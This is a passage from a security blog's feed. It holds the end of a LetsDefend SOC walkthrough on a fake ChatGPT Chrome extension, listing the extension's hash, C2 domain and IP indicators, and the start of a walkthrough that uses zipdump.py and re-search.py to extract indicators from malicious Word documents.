src=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/ca5b267ff4c1e5ad9480bd90fe941a89_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/ca5b267ff4c1e5ad9480bd90fe941a89_MD5_hu_f1ee045908bb70b6.png 800w, https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/ca5b267ff4c1e5ad9480bd90fe941a89_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;task-6-report-and-close-thecase&#34;&gt;Task 6: Report and Close the Case&#xA;&lt;/h3&gt;&lt;p&gt;Okay, we&amp;rsquo;re closing in on the end of the investigation! The next step in the playbook is to recap the evidence, or artifacts, that we discovered on the victim&amp;rsquo;s system throughout the investigation.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The first artifact will be the &lt;em&gt;file hash&lt;/em&gt; of the malicious extension. The alert provided the &lt;em&gt;SHA256&lt;/em&gt; &lt;em&gt;file hash,&lt;/em&gt; but we need to input the &lt;em&gt;MD5&lt;/em&gt; hash into our case. We can simply look back at the &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/7421f9abe5e618a0d517861f4709df53292a5f137053a227bfb4eb8e152a4669/details&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;VirusTotal&lt;/em&gt;&lt;/a&gt; entry for the malicious extension and copy it from there.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;9cc6c26bd215549c39ba5b65e9eec9ea&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;614px&#34; data-flex-grow=&#34;255&#34; height=&#34;469&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/fea98ca4c7f0f2a78ce47a65ff56da39_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/fea98ca4c7f0f2a78ce47a65ff56da39_MD5_hu_1a2facdee7dc2009.png 800w, https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/fea98ca4c7f0f2a78ce47a65ff56da39_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;ol start=&#34;2&#34;&gt;&#xA;&lt;li&gt;Next, we will enter the &lt;em&gt;Chrome Store URL address&lt;/em&gt; for the malicious extension. In &lt;strong&gt;Task 3,&lt;/strong&gt; we found this in Samuel&amp;rsquo;s &lt;em&gt;Browser History&lt;/em&gt; and within the &lt;em&gt;Guardio&lt;/em&gt; report.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://chrome.google.com/webstore/detail/chatgpt-for-google/hacfaophiklaeolhnmckojjjjbnappen&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://chrome.google.com/webstore/detail/chatgpt-for-google/hacfaophiklaeolhnmckojjjjbnappen&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;994px&#34; data-flex-grow=&#34;414&#34; height=&#34;193&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/1ff5ba766d5b33aff62ded1e77af5814_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;ol start=&#34;3&#34;&gt;&#xA;&lt;li&gt;Next, we&amp;rsquo;ll enter the C2 Server URL Address and the 2x &lt;em&gt;DNS&lt;/em&gt; resolved &lt;em&gt;IP Addresses&lt;/em&gt; that we discovered in &lt;strong&gt;Tasks 3 &amp;amp; 4:&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;version.chatgpt4google.workers.dev&#xA;104.21.63.166&#xA;172.67.147.243&lt;/p&gt;&#xA;&lt;ol start=&#34;4&#34;&gt;&#xA;&lt;li&gt;Finally, we can also add the additional landing pages from the &lt;em&gt;IOC report&lt;/em&gt; that we also found with the &lt;em&gt;Log Management&lt;/em&gt; data in &lt;strong&gt;Task 4&lt;/strong&gt;. Adding these would reduce the risk of any other user downloading the malicious extension.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;chatgptforgoogle.pro&#xA;52.76.101.124&#xA;3.1.17.18&#xA;18.140.6.45&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;202px&#34; data-flex-grow=&#34;84&#34; height=&#34;932&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/7cf110fb1b66bf0995f4aed42fb4edf8_MD5.png&#34; width=&#34;786&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Next, after putting in our list of artifacts, it&amp;rsquo;s time to input some good &lt;em&gt;Analyst Notes&lt;/em&gt; to summarize our findings. These notes will accompany our list of &lt;em&gt;IOCs&lt;/em&gt; when we file our case report:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;490px&#34; data-flex-grow=&#34;204&#34; height=&#34;353&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/d2a9a4b295d0120e13a093ae835be411_MD5.png&#34; width=&#34;721&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;376px&#34; data-flex-grow=&#34;156&#34; height=&#34;291&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/94be349405a46e097733ee54b0106754_MD5.png&#34; width=&#34;456&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Finally, with our report filed, we can now officially close the alert from the &lt;em&gt;Investigation Channel&lt;/em&gt;! Great job tackling this investigation from start to finish — let&amp;rsquo;s wrap this thing up.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2064px&#34; data-flex-grow=&#34;860&#34; height=&#34;93&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/183759a6b1203dc620b43186c2b1471c_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;320px&#34; data-flex-grow=&#34;133&#34; height=&#34;444&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/2f406d5ae06b0cecbbcb44b662f707da_MD5.png&#34; width=&#34;592&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;And there we have it — mission accomplished!&lt;/p&gt;&#xA;&lt;p&gt;As we wrap up the &lt;em&gt;SOC202 — FakeGPT Malicious Chrome Extension&lt;/em&gt; alert, let&amp;rsquo;s recap what we discovered. Through our investigation of the &lt;em&gt;endpoint logs&lt;/em&gt;, we identified a suspicious &lt;em&gt;Chrome&lt;/em&gt; extension that was allowed to run. Then, we pivoted to external threat intelligence to provide further context, eventually stumbling on the &lt;em&gt;Guardio&lt;/em&gt; report, which confirmed that the extension is malicious. Finally, we hunted for the &lt;em&gt;IOCs&lt;/em&gt; from the same report in the network logs, to uncover communication with the command and control server, which confirmed our findings.&lt;/p&gt;&#xA;&lt;p&gt;Now, you can review your answers in the &lt;em&gt;Closed Alerts&lt;/em&gt; tab and review your report from the &lt;em&gt;Case Management&lt;/em&gt; tab. Awesome job!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;797px&#34; data-flex-grow=&#34;332&#34; height=&#34;361&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/20cca1081d1a29e5e9a1c3085ce154f8_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/20cca1081d1a29e5e9a1c3085ce154f8_MD5_hu_f531f36283af7d69.png 800w, https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/20cca1081d1a29e5e9a1c3085ce154f8_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;419px&#34; data-flex-grow=&#34;174&#34; height=&#34;687&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/7255acd4c1a67fb0d6d2e9670a1f2f87_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/7255acd4c1a67fb0d6d2e9670a1f2f87_MD5_hu_687db20f1556e1a1.png 800w, https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/7255acd4c1a67fb0d6d2e9670a1f2f87_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;A big thank you to &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt; for providing such a cool, in-depth simulation platform. Their platform continues to be a helpful and fun resource for sharpening my cybersecurity skills and staying ready for the next alert. If you found this walkthrough helpful in leveling up your skills or getting you through a tricky challenge, &lt;strong&gt;please give it a clap&lt;/strong&gt;! Your feedback lets me know that I helped you out on your security journey. We&amp;rsquo;re in this together! Thanks for the support!&lt;/p&gt;&#xA;&lt;p&gt;Until next week&amp;rsquo;s challenge — stay curious and be safe out there!&lt;/p&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Microsoft Learn (mpcmdrun.exe):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/defender-endpoint/command-line-arguments-microsoft-defender-antivirus&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/defender-endpoint/command-line-arguments-microsoft-defender-antivirus&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Learn (File Hash):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/get-filehash?view=powershell-7.4#description&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/get-filehash?view=powershell-7.4#description&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Any.Run&lt;/strong&gt;: &lt;a class=&#34;link&#34; href=&#34;https://app.any.run/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.any.run/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Any.Run Task:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.any.run/tasks/99055672-d173-4fd6-afc2-7a45c84c3448/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.any.run/tasks/99055672-d173-4fd6-afc2-7a45c84c3448/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;VirusTotal:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;**Guardio &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;FakeGPT&amp;rdquo;&#xA;: New Variant of Fake-ChatGPT Chrome Extension Stealing Facebook Ad Accounts with Thousands of Daily Installs:** &lt;a class=&#34;link&#34; href=&#34;https://labs.guard.io/fakegpt-new-variant-of-fake-chatgpt-chrome-extension-stealing-facebook-ad-accounts-with-4c9996a8f282&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://labs.guard.io/fakegpt-new-variant-of-fake-chatgpt-chrome-extension-stealing-facebook-ad-accounts-with-4c9996a8f282&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;**Guardio &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;FakeGPT&amp;rdquo;&#xA;#2: Open-Source Turned Malicious in Another Variant of the Facebook Account-Stealer Chrome Extension:** &lt;a class=&#34;link&#34; href=&#34;https://labs.guard.io/fakegpt-2-open-source-turned-malicious-in-another-variant-of-the-facebook-account-stealer-d00ef9883d61&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://labs.guard.io/fakegpt-2-open-source-turned-malicious-in-another-variant-of-the-facebook-account-stealer-d00ef9883d61&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — Command and Control (TA0011):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/tactics/TA0011/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/tactics/TA0011/&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>LetsDefend — MSHTML Challenge Walkthrough</title>
            <link>https://stumblesec.com/posts/letsdefend-mshtml-challenge-walkthrough/</link>
            <pubDate>Sun, 25 Aug 2024 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/letsdefend-mshtml-challenge-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/letsdefend-mshtml-challenge-walkthrough/f399aed5b0ed2aabf7ca7503f34b293d_MD5.png&#34; alt=&#34;Featured image of post LetsDefend — MSHTML Challenge Walkthrough&#34; /&gt;&lt;h3 id=&#34;letsdefend--mshtml-challenge-walkthrough&#34;&gt;LetsDefend — MSHTML Challenge Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;maldoc-analysis-using-zipdumppy-re-searchpy--virustotal&#34;&gt;Maldoc analysis using zipdump.py, re-search.py, &amp;amp; VirusTotal&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;320px&#34; data-flex-grow=&#34;133&#34; height=&#34;300&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-mshtml-challenge-walkthrough/f399aed5b0ed2aabf7ca7503f34b293d_MD5.png&#34; width=&#34;400&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/mshtml&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/mshtml&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Have you ever come across a suspicious document file and wondered if it&amp;rsquo;s doing something malicious in the background? If so, welcome to another weekly walkthrough — you&amp;rsquo;ve stumbled on the right blog!&lt;/p&gt;&#xA;&lt;p&gt;This week, we&amp;rsquo;re tackling the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/mshtml&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;MSHTML&lt;/strong&gt;&lt;/a&gt; challenge from &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;.&lt;/strong&gt; Our mission is to analyze four malicious document (maldoc) samples, discover the IP addresses and domains hidden within them, and use that information to figure out which vulnerability or &lt;em&gt;CVE&lt;/em&gt; that the threat actor is exploiting.&lt;/p&gt;&#xA;&lt;p&gt;Throughout this walkthrough, we&amp;rsquo;ll explore the inner workings of &lt;em&gt;.docx&lt;/em&gt; files to find &lt;em&gt;indicators of compromise&lt;/em&gt; (&lt;em&gt;IOCs&lt;/em&gt;). To do that, we&amp;rsquo;ll use several tools from &lt;a class=&#34;link&#34; href=&#34;https://blog.didierstevens.com/my-software/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Didier Stevens&lt;/em&gt;&lt;/a&gt; including &lt;em&gt;zipdump&lt;/em&gt;, &lt;em&gt;re-search&lt;/em&gt;, and &lt;em&gt;numbers-to-string&lt;/em&gt;, to extract the artifacts. Then, we&amp;rsquo;ll leverage &lt;a class=&#34;link&#34; href=&#34;http://virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;VirusTotal&lt;/em&gt;&lt;/a&gt; to correlate threat intelligence and determine the exploited &lt;em&gt;CVE&lt;/em&gt;. Sounds like a fun time!&lt;/p&gt;&#xA;&lt;p&gt;Although &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt; rates this challenge as &lt;em&gt;Hard&lt;/em&gt;, we&amp;rsquo;ll go through it step-by-step to make it much more accessible. What are we waiting for? Thanks for reading along with me!&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/mshtml&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/mshtml&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;2021&amp;rsquo;s 0-Day MSHTML&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;question-1-examing-the-employees_contact_audit_oct_2021docx-file-what-is-the-malicious-ip-in-the-docxfile&#34;&gt;Question 1: Examing the Employees_Contact_Audit_Oct_2021.docx file, what is the malicious IP in the docx file?&#xA;&lt;/h3&gt;&lt;p&gt;All right, let&amp;rsquo;s jump right in! But before we go too far down the rabbit hole, let&amp;rsquo;s check out the &lt;em&gt;Tools&lt;/em&gt; folder on the &lt;em&gt;Desktop&lt;/em&gt; to see what we have available at our disposal to work through this challenge.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;619px&#34; data-flex-grow=&#34;258&#34; height=&#34;310&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-mshtml-challenge-walkthrough/24678966f296e7b21465d8716feeea98_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;For &lt;strong&gt;Question 1&lt;/strong&gt;, we are going to be performing some analysis on a &lt;em&gt;.docx&lt;/em&gt; file. It wouldn&amp;rsquo;t be much fun if we could simply just open it and find our answer, right?&lt;/p&gt;&#xA;&lt;p&gt;With that in mind, let&amp;rsquo;s first get some background about the structure of the document&amp;rsquo;s format from the &lt;a class=&#34;link&#34; href=&#34;https://www.sans.org/posters/cheat-sheet-for-analyzing-malicious-documents/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;SANS Analyzing Malicious Documents cheat sheet&lt;/em&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;OOXML document files (.docx, .xlsm, etc.) supported by Microsoft Office are compressed zip archives.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Interesting, since a &lt;em&gt;.docx&lt;/em&gt; file is basically a &lt;em&gt;zip archive&lt;/em&gt;, let&amp;rsquo;s go back and see what tool in the &lt;em&gt;Tools&lt;/em&gt; folder might be able to help with this task. Maybe we can utilize &lt;a class=&#34;link&#34; href=&#34;https://github.com/DidierStevens/DidierStevensSuite/blob/master/zipdump.py&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Didier Stevens&amp;rsquo; zipdump.py&lt;/em&gt;&lt;/a&gt;? According to the &lt;em&gt;SANS cheat sheet&lt;/em&gt;, this utility can be used to &amp;quot; # &amp;ldquo;examine contents of OOXML file&amp;rdquo;— it sounds like this might fit the bill, let&amp;rsquo;s try it!&lt;/p&gt;&#xA;&lt;p&gt;We&amp;rsquo;ll use the following syntax to perform a basic analysis on the document:&lt;/p&gt;&#xA;&lt;p&gt;python3 zipdump.py /root/Desktop/ChallengeFiles/Employees_Contact_Audit_Oct_2021.docx&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;708px&#34; data-flex-grow=&#34;295&#34; height=&#34;271&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-mshtml-challenge-walkthrough/66b88cfd792718bc8449527b691471de_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;We can see that &lt;em&gt;zipdump.py&lt;/em&gt; lists out all the files contained within the &lt;em&gt;.docx&lt;/em&gt; and assigns them an &lt;em&gt;index filename&lt;/em&gt; — there are so many to choose from! Let&amp;rsquo;s start with a broad strokes approach.&lt;/p&gt;&#xA;&lt;p&gt;After consulting the &lt;em&gt;man pages&lt;/em&gt; for &lt;em&gt;zipdump.py,&lt;/em&gt; we can use the — &lt;em&gt;dumpall (-D)&lt;/em&gt; option to dump all these files rather than focus on a specific one for now.&lt;/p&gt;&#xA;&lt;p&gt;But how will that help us analyze the output? For this, we can pipe the output into another Didier Stevens tool, &lt;em&gt;re-search.py.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://blog.didierstevens.com/2021/02/21/update-re-search-py-version-0-0-16/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;re-search.py&lt;/a&gt; is a tool that uses regular expressions to search through files. You can use regular expressions from a small builtin library, or provide your own regular expressions.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Combining &lt;em&gt;zipdump&lt;/em&gt; and &lt;em&gt;re-search&lt;/em&gt;, we&amp;rsquo;ll use the below command to dump all the indexes in the sample, pipe them into &lt;em&gt;re-search&lt;/em&gt;, and then use the included filters to search the output for unique &lt;em&gt;IPv4 addresses:&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;python3 zipdump.py -D /root/Desktop/ChallengeFiles/Employees_Contact_Audit_Oct_2021.docx | python3 re-search.py -n -u ipv4&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;5189px&#34; data-flex-grow=&#34;2162&#34; height=&#34;37&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-mshtml-challenge-walkthrough/02c0d875a3a60f9bee092d919fd87e9a_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now we&amp;rsquo;ve located an &lt;em&gt;IP address&lt;/em&gt; within the document and found the answer to &lt;strong&gt;Question 1&lt;/strong&gt;!&lt;/p&gt;&#xA;&lt;p&gt;While we&amp;rsquo;re at it, let&amp;rsquo;s do some additional threat intelligence gathering about this &lt;em&gt;IP address&lt;/em&gt; on &lt;em&gt;VirusTotal&lt;/em&gt;. This could come in handy for later in the challenge&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;472px&#34; data-flex-grow=&#34;197&#34; height=&#34;406&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-mshtml-challenge-walkthrough/ea4d5946f7ad6190fe03ff0d0e9a2bdc_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2461px&#34; data-flex-grow=&#34;1025&#34; height=&#34;78&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-mshtml-challenge-walkthrough/5a1b62f51d3bff84ed7ae55e04a06788_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-examing-the-employee_w2_formdocx-file-what-is-the-malicious-domain-in-the-docxfile&#34;&gt;Question 2: Examing the Employee_W2_Form.docx file, what is the malicious domain in the docx file?&#xA;&lt;/h3&gt;&lt;p&gt;The same way we solved the previous question, we&amp;rsquo;re going to again combine &lt;em&gt;zipdump&lt;/em&gt; and use the filtering capabilities of &lt;em&gt;re-search&lt;/em&gt; to locate domains within the dump instead of &lt;em&gt;IPv4&lt;/em&gt; like we did in &lt;strong&gt;Question 1.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s look at the options for &lt;em&gt;re-search&lt;/em&gt; again:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;471px&#34; data-flex-grow=&#34;196&#34; height=&#34;407&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-mshtml-challenge-walkthrough/c79db9dae2f4920a745c4824a03ffbe7_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://github.com/DidierStevens/DidierStevensSuite/blob/master/re-search.py&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://github.com/DidierStevens/DidierStevensSuite/blob/master/re-search.py&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;At first glance, the &lt;em&gt;url&lt;/em&gt; and &lt;em&gt;url-domain&lt;/em&gt; options seem like the best choices to use with &lt;em&gt;re-search.&lt;/em&gt; But we&amp;rsquo;ll hit a snag and not locate any suspicious hits when using these filters. Let&amp;rsquo;s pivot and try a third option, &lt;em&gt;domaintld,&lt;/em&gt; in case the top-level domain is not one that is found with the standard &lt;em&gt;url&lt;/em&gt; filter.&lt;/p&gt;&#xA;&lt;p&gt;python3 zipdump.py -D /root/Desktop/ChallengeFiles/Employee_W2_Form.docx | python3 re-search.py -u -n domaintld&lt;/p&gt;&#xA;&lt;p&gt;There we go! Using the &lt;em&gt;domaintld&lt;/em&gt; filter, we found the below 